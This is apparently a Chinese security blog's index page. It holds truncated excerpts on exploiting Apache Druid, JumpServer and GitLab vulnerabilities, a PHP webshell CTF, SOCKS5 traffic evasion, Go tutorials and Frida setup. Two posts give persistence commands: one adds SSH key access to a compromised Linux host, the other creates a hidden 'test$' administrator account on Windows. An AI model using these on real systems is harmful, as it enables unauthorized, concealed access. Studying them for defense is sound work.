Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749
Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-367490x01 漏洞简介在 Druid 系统中,InputSource 用于从某个数据源读取数据。但是,HTTP InputSource 允许经过身份验证的用户以 Druid 服务器进程的权限从其他来源读取数据,例如本地文件系统。
这不是用户直接访问 Druid 时的权限提升,因为 Druid 还提供了 Local InputSource,它允许相同级别的访问。但是当用户通过允许用户指定 HTTP InputSource 而不是 Local InputSource 的应用程序间接与 Druid 交互时,这是有问题的。
在这种情况下,用户可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。这个问题之前提到过,根据 CVE-2021-26920 在 0.21.0 中已修复,但在 0.21.0 或 0.21.1 中未修复。
0x02 影响范围影响范围 : Apache Druid < 0.21.0
0x03 漏洞复现
URLS写入payload
1file: ...
jumpserver 远程命令执行RCE漏洞复现和利用
0x01 简介
JumpServer远程执行漏洞 RCE EXP
Jumpserver 是一款由python编写开源的跳板机(堡垒机)系统,是内网中的一种集权系统,拿下后基本上都是可以控制大量的服务器。
项目地址:https://github.com/jumpserver/jumpserver
0x02 漏洞原理远程命令执行漏洞:由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,再通过敏感信息获取一个20s的token,最后利用这个token去执行相关API操作控制其中所有机器或者执行任意命令。
0x03 影响版本:
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
0x04 复现环境搭建注意坑点环境搭建推荐使用一键安装,因为环境比较麻烦,而且还得是旧版的,这里是v2.6.1
安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/q ...
Gitlab 远程命令执行RCE漏洞CVE-2021-22205附exp
0x01 漏洞介绍&原理GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,是一款Ruby开发的Git项目管理平台。由于在11.9以后的GitLab中,使用了图片处理工具ExifTool,而此图片处理工具又受到了漏洞CVE-2021-22204的影响:
漏洞触发ExifTool功能处,ExifTool是用于从图像中移除元数据的开源工具,在解析上传图像中的元数据时,并没有完全解析某些元数据,导致攻击者上传带有恶意元数据的图片,从而导致远程命令执行。
攻击者可以通过一个存在未授权的接口,上传一张恶意构造的图片,进而导致该漏洞在无需进行身份验证的情况下即可进行RCE
0x02 影响版本123Gitlab CE/EE < 13.10.3Gitlab CE/EE < 13.9.6Gitlab CE/EE < 13.8.8
0x03 漏洞检测主页
1http://127.0.0.1/users/sign_in
1FOFA指纹:title="GitLab"
EXP代码贴最后,直接运行
1python3 CVE-202 ...
内网代理流量:Socks5协议原理分析和编程
0x00 前情提要日常渗透演练中,代理是必不可少的,我们用的一般也都是CS自带socks4和代理工具的socks5协议,我们此时还要考虑在这个过程中的流量免杀的问题,所以还是要对底层的协议详细的看一下,然后对流量中的特征分析和修改一下
0x01 简介和流程以下摘自维基百科
SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。SOCKS是”SOCKetS”的缩写[注 1]。 当防火墙后的客户端要访问外部的服务器时,就跟SOCKS代理服务器连接。这个代理服务器控制客户端访问外网的资格,允许的话,就将客户端的请求发往外部的服务器。 这个协议最初由David Koblas开发,而后由NEC的Ying-Da Lee将其扩展到SOCKS4。最新协议是SOCKS5,与前一版本相比,增加支持UDP、验证,以及IPv6。 根据OSI模型,SOCKS是会话层的协议,位于表示层与传输层之间。 SOCKS协议不提供加密。
小知识点:SOCKS 5 扩展了第 4 版本,加入了 UDP 协议支持
SOCKS5协议主要分为分为三个阶段:
(1) 协议版本及认证方式
(2) 根据认证 ...
快速掌握GO语言面向对象类的实现
结构体struct1234567891011121314151617181920212223242526272829303132333435363738394041424344package mainimport "fmt"//声明一种行的数据类型 myint, 是int的一个别名type myint int//定义一个结构体type Book struct { title string auth string}func changeBook(book Book) { //传递一个book的副本 book.auth = "666"}func changeBook2(book *Book) { //指针传递 book.auth = "777"}func main() { /* var a myint = 10 fmt.Println("a = ", a) fmt.Printf( ...
无密码Linux主机利用公钥直接连接
0x00 前提
以前的老东西,拿出水一篇
一般是通过 Rce,提权等等情况,拿到目标 linux 的 root 权限
主要是没有密码, hash 跑不出来,机器无法正常出网
就可以去试着正向链接
0x01 首先目标主机,修改目标 Ssh 服务配置启用ssh证书登录,并重启SSH 服务
123echo RSAAuthentication yes >> /etc/ssh/sshd_configecho PubkeyAuthentication yes >> /etc/ssh/sshd_configsystemctl restart sshd
0x02 本地linux上生成密钥1# ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
注意:这一步最好去一个纯净的Linux生成,因为这个key会暴露你的主机名
12345//找见id_rsa.pub自行拷贝出来ls -al /root/.ssh/cp /root/.ssh/id_rsa.pub /home/xxxx/Desktop///赋于权限chmod 77 ...
权限维持-影子用户后门
0x00 前提水一篇内网东西,主要针对一种情况:抓到 hash 解不开, 又不想 pth, 就想直接登桌面
0x01权限维持-影子用户后门影子账户,古老但有效!
原理代 $ 符号的用户名不会显示出来,仔通导出注册表,并修改F值,克隆账号,再删除账号
效果
net user无法删除,需要删除注册表相关键值;
Windows 的登录界面不显示该用户信息。
0x02 简单实用1ShadowUser.exe admin administrator
可以正常登录,桌面什么也是克隆的administrator的
单纯的创建隐藏用户我们先利用命令创建一个隐藏用户,并将其加入本地管理员组。
12net user test$ Test123456 /addnet localgroup administrators test$ /add
go语言快速掌握语法特色--基本语法
0x00 背景
主要是针对:想快速低成本掌握golang开发人群,主要是讲区别其他语言的特色语法、用法和思想。
最好是已经熟悉了一门后段语言,可以快速的掌握和上手go语言
因为编程思想是想通的,对于已经熟练一门语言的开发者,只要掌握开发这个语言的特性,很快就能上手了。
下面的每个知识点,没有单独去拿出来讲,知识点都是在代码旁边的注释里面,我感觉还是蛮不错的,有代码例子应该很快就能理解
0x01 GO基本语法注意go里面有个很特殊的:每个变量声明之后必须要在后面使用,不允许存在变量声明没有使用的情况,所以下面的代码没有调试通,可以先看看,是不是有变量没有使用。
0x011 基本的函数编写格式:(括号、;)123456789101112package main //程序的包名import ( "fmt" "time")//main函数func main() { //函数的{ 一定是 和函数名在同一行的,否则编译错误 //golang中的表达式,加";", 和不加 都可以,建议是不加 fmt.Pr ...
利用PHP_SESSION_UPLOAD_PROGRESS上传webshell
0x01 环境配置&利用条件
环境分析
session.use_strict_mode默认值为0,此时用户是可以自己定义Session ID的
1我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag
session.upload_progress.prefix由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
所以:
这个文件名是PHPSESSID=flag,文件名可控
内容也是可以通过PHP_SESSION_UPLOAD_PROGRESS写入的
如果有文件包含,就可以 getshell
一般情况还需要条件竞争:
12345在默认情况下,session.upload_progress.cleanup是开启的所以要是处理了所有POST数据,它就会清除进度信息,这个文件就没了所以需要使用条件竞争:要在没有处理完post数据的时候就要去触发
0x02 题目这个题是第五空间CTF的一道WEB题
12345678910111213141516 ...
android逆向之frida安装与简单使用Crackmes/Android/Level_01
0x01 在电脑上安装adb安装adb我们要在电脑上通过adb与手机进行交互,所以要先安装adb
1.安装 adbwindows电脑安装adb
12可以通过安装android sdk然后就是 /android sdk/platform-tools/adb.exe
Mac安装命令
1brew cask install android-platform-tools
2.将手机通过数据线连接到电脑上
要设置手机打开usb调试
一般就在 手机设置-关于-开发者选项-允许usb调试 (不同手机不一样,自己找找USB调试)
3.运行adb,在终端输入如下命令,查看连接的设备运行adb命令,查看当前连接设备
1adb devices
显示有device就是连接上了设备
0x02 在电脑上-安装python3windows电脑去官网下载,自己百度安装吧
12注意:高版本的frida 要配合高版本的python我的是 pyhton 3.7.9 和 frida 15.0.15
Mac版本
1brew install [email protected]
0x03 在电脑上安装frida-tools这个其 ...